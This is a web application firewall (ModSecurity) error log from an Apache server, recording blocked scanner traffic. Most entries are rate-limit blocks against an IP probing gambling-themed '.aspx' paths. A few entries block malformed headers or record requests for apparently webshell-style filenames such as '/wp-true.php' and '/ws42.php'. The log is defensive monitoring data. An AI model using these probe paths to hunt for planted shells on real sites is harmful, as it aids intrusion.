[Tue Mar 31 23:48:40.644331 2026] [:error] [pid 41421:tid 41447] [client 95.91.110.210:57566] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acvs2BSaDjY9kKFtUQDgBAAAARc"]
[Tue Mar 31 23:48:43.465706 2026] [:error] [pid 36892:tid 36955] [client 95.91.110.210:5642] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acvs20yj9S4G0ek3O4K4HAAAAIQ"]
[Tue Mar 31 23:48:46.248727 2026] [:error] [pid 2836:tid 2856] [client 95.91.110.210:5656] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acvs3ipQtaf_GRF3iPfvbQAAAg0"]
[Tue Mar 31 23:48:50.929391 2026] [:error] [pid 41421:tid 41444] [client 95.91.110.210:5658] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acvs4hSaDjY9kKFtUQDgDgAAARQ"]
[Tue Mar 31 23:48:53.581553 2026] [:error] [pid 41421:tid 41427] [client 95.91.110.210:27750] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acvs5RSaDjY9kKFtUQDgFgAAAQM"]
[Tue Mar 31 23:48:56.227215 2026] [:error] [pid 3331:tid 3354] [client 95.91.110.210:27752] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "acvs6Kuu4pxT8HdFeo-0MAAAA0g"]
[Tue Mar 31 23:48:58.862066 2026] [:error] [pid 3175:tid 3199] [client 95.91.110.210:27758] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acvs6l9zJkJkv_bzqv5JAgAAAtY"]
[Tue Mar 31 23:49:02.600876 2026] [:error] [pid 41421:tid 41435] [client 95.91.110.210:27774] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acvs7hSaDjY9kKFtUQDgMwAAAQs"]
[Tue Mar 31 23:49:06.141772 2026] [:error] [pid 36890:tid 36903] [client 95.91.110.210:55998] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acvs8p8FASPd_uH8z7d2ngAAAAg"]
[Tue Mar 31 23:49:10.040007 2026] [:error] [pid 6548:tid 6574] [client 95.91.110.210:56012] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acvs9rgIz9HgMl9YwE58FwAAAVg"]
[Tue Mar 31 23:49:13.289307 2026] [:error] [pid 6548:tid 6558] [client 95.91.110.210:46444] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acvs-bgIz9HgMl9YwE58GgAAAUg"]
[Tue Mar 31 23:49:16.044097 2026] [:error] [pid 3175:tid 3199] [client 95.91.110.210:46460] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "acvs_F9zJkJkv_bzqv5JEgAAAtY"]
[Tue Mar 31 23:49:18.724520 2026] [:error] [pid 41421:tid 41426] [client 95.91.110.210:46468] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acvs_hSaDjY9kKFtUQDgQwAAAQI"]
[Tue Mar 31 23:49:21.473690 2026] [:error] [pid 2836:tid 2853] [client 95.91.110.210:46480] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acvtASpQtaf_GRF3iPfvhQAAAgo"]
[Tue Mar 31 23:49:24.012582 2026] [:error] [pid 3175:tid 3195] [client 95.91.110.210:44312] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "acvtBF9zJkJkv_bzqv5JHgAAAtI"]
[Tue Mar 31 23:49:26.638994 2026] [:error] [pid 3331:tid 3364] [client 95.91.110.210:44328] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "acvtBquu4pxT8HdFeo-0TwAAA1I"]
[Tue Mar 31 23:49:29.404789 2026] [:error] [pid 41421:tid 41442] [client 95.91.110.210:44342] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "acvtCRSaDjY9kKFtUQDgTwAAARI"]
[Tue Mar 31 23:49:32.107377 2026] [:error] [pid 3175:tid 3199] [client 95.91.110.210:5098] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "acvtDF9zJkJkv_bzqv5JIwAAAtY"]
[Tue Mar 31 23:49:54.186430 2026] [:error] [pid 2836:tid 2846] [client 95.91.110.210:5104] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acvtIipQtaf_GRF3iPfvvwAAAgM"]
[Tue Mar 31 23:49:56.902063 2026] [:error] [pid 3331:tid 3349] [client 95.91.110.210:27026] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acvtJKuu4pxT8HdFeo-0ZQAAA0M"]
[Tue Mar 31 23:49:59.523173 2026] [:error] [pid 41421:tid 41424] [client 95.91.110.210:27030] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acvtJxSaDjY9kKFtUQDgfAAAAQA"]
[Tue Mar 31 23:50:02.251866 2026] [:error] [pid 43292:tid 43307] [client 95.91.110.210:1940] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acvtKiTXGZp4F7tGGAPbdQAAAYU"]
[Tue Mar 31 23:50:05.942136 2026] [:error] [pid 36982:tid 37002] [client 95.91.110.210:1954] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acvtLflMmeoQKN0r_GPWJgAAANE"]
[Tue Mar 31 23:50:08.668807 2026] [:error] [pid 3331:tid 3361] [client 95.91.110.210:1966] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acvtMKuu4pxT8HdFeo-0bgAAA08"]
[Tue Mar 31 23:50:11.585058 2026] [:error] [pid 43292:tid 43313] [client 95.91.110.210:1978] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acvtMyTXGZp4F7tGGAPbeQAAAYs"]
[Tue Mar 31 23:50:15.354979 2026] [:error] [pid 41421:tid 41442] [client 95.91.110.210:33758] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acvtNxSaDjY9kKFtUQDgogAAARI"]
[Tue Mar 31 23:50:19.110091 2026] [:error] [pid 3175:tid 3199] [client 95.91.110.210:33764] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acvtO19zJkJkv_bzqv5JSwAAAtY"]
[Tue Mar 31 23:50:21.765311 2026] [:error] [pid 41421:tid 41428] [client 95.91.110.210:33772] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "acvtPRSaDjY9kKFtUQDgtgAAAQQ"]
[Tue Mar 31 23:50:24.333989 2026] [:error] [pid 3175:tid 3185] [client 95.91.110.210:58506] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acvtQF9zJkJkv_bzqv5JUQAAAsg"]
[Tue Mar 31 23:50:26.966806 2026] [:error] [pid 36890:tid 36912] [client 95.91.110.210:58516] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acvtQp8FASPd_uH8z7d21QAAABE"]
[Tue Mar 31 23:50:29.590800 2026] [:error] [pid 41421:tid 41431] [client 95.91.110.210:58532] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acvtRRSaDjY9kKFtUQDgxAAAAQc"]
[Tue Mar 31 23:50:32.064280 2026] [:error] [pid 2836:tid 2843] [client 95.91.110.210:14752] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acvtSCpQtaf_GRF3iPfv5wAAAgA"]
[Tue Mar 31 23:50:34.783461 2026] [:error] [pid 43292:tid 43319] [client 95.91.110.210:14756] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acvtSiTXGZp4F7tGGAPbfwAAAZE"]
[Tue Mar 31 23:50:37.493883 2026] [:error] [pid 6548:tid 6559] [client 95.91.110.210:14768] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "acvtTbgIz9HgMl9YwE58LwAAAUk"]
[Tue Mar 31 23:50:40.363375 2026] [:error] [pid 36892:tid 36975] [client 95.91.110.210:14772] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "acvtUEyj9S4G0ek3O4K4TAAAAJg"]
[Tue Mar 31 23:50:43.035572 2026] [:error] [pid 3331:tid 3347] [client 95.91.110.210:56884] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acvtU6uu4pxT8HdFeo-0hgAAA0E"]
[Tue Mar 31 23:50:45.730523 2026] [:error] [pid 41421:tid 41436] [client 95.91.110.210:56900] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acvtVRSaDjY9kKFtUQDg6wAAAQw"]
[Tue Mar 31 23:50:48.501473 2026] [:error] [pid 3331:tid 3358] [client 95.91.110.210:56910] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acvtWKuu4pxT8HdFeo-0iwAAA0w"]
[Tue Mar 31 23:50:51.444515 2026] [:error] [pid 3331:tid 3352] [client 95.91.110.210:56912] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acvtW6uu4pxT8HdFeo-0jwAAA0Y"]
[Tue Mar 31 23:51:14.748117 2026] [:error] [pid 2836:tid 2843] [client 95.91.110.210:57450] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acvtcipQtaf_GRF3iPfwMwAAAgA"]
[Tue Mar 31 23:51:17.410253 2026] [:error] [pid 2836:tid 2857] [client 95.91.110.210:26340] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acvtdSpQtaf_GRF3iPfwPQAAAg4"]
[Tue Mar 31 23:51:20.197388 2026] [:error] [pid 3175:tid 3191] [client 95.91.110.210:26348] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acvteF9zJkJkv_bzqv5JhwAAAs4"]
[Tue Mar 31 23:51:22.988966 2026] [:error] [pid 36890:tid 36902] [client 95.91.110.210:3226] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acvtep8FASPd_uH8z7d2_wAAAAc"]
[Wed Apr 01 00:03:37.157669 2026] [:error] [pid 3175:tid 3183] [client 162.62.213.187:55754] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acvwWV9zJkJkv_bzqv5MLgAAAsY"]
[Wed Apr 01 02:15:58.995834 2026] [:error] [pid 52593:tid 52683] [client 216.73.216.126:37908] [client 216.73.216.126] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "acwPXuKOtxqtcDhRtD-ZEwAAAIk"]
[Wed Apr 01 04:30:33.777924 2026] [:error] [pid 58139:tid 58148] [client 43.157.170.13:34926] [client 43.157.170.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acwu6TmNuaW910kV7O7v5wAAAMU"]
[Wed Apr 01 07:06:22.804658 2026] [:error] [pid 23715:tid 23780] [client 122.51.236.174:60678] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acxTbq-REzOruNbiT9xWNQAAAFM"]
[Wed Apr 01 08:13:24.283793 2026] [:error] [pid 24314:tid 24336] [client 74.234.75.219:64004] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "acxjJJRF3FCzjmMUX5b4BAAAARI"]
[Wed Apr 01 08:13:24.820799 2026] [:error] [pid 23715:tid 23763] [client 74.234.75.219:65297] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "acxjJK-REzOruNbiT9x49QAAAEI"]
[Wed Apr 01 08:13:25.406436 2026] [:error] [pid 24314:tid 24318] [client 74.234.75.219:64075] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "acxjJZRF3FCzjmMUX5b4BQAAAQA"]
[Wed Apr 01 08:13:25.939595 2026] [:error] [pid 23714:tid 23758] [client 74.234.75.219:64692] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "acxjJUHxDDU2ETcG9DQKVQAAABg"]
[Wed Apr 01 08:13:26.489607 2026] [:error] [pid 23715:tid 23784] [client 74.234.75.219:65298] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "acxjJq-REzOruNbiT9x5AQAAAFc"]
[Wed Apr 01 08:13:26.991304 2026] [:error] [pid 23715:tid 23779] [client 74.234.75.219:65330] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "acxjJq-REzOruNbiT9x5BQAAAFI"]
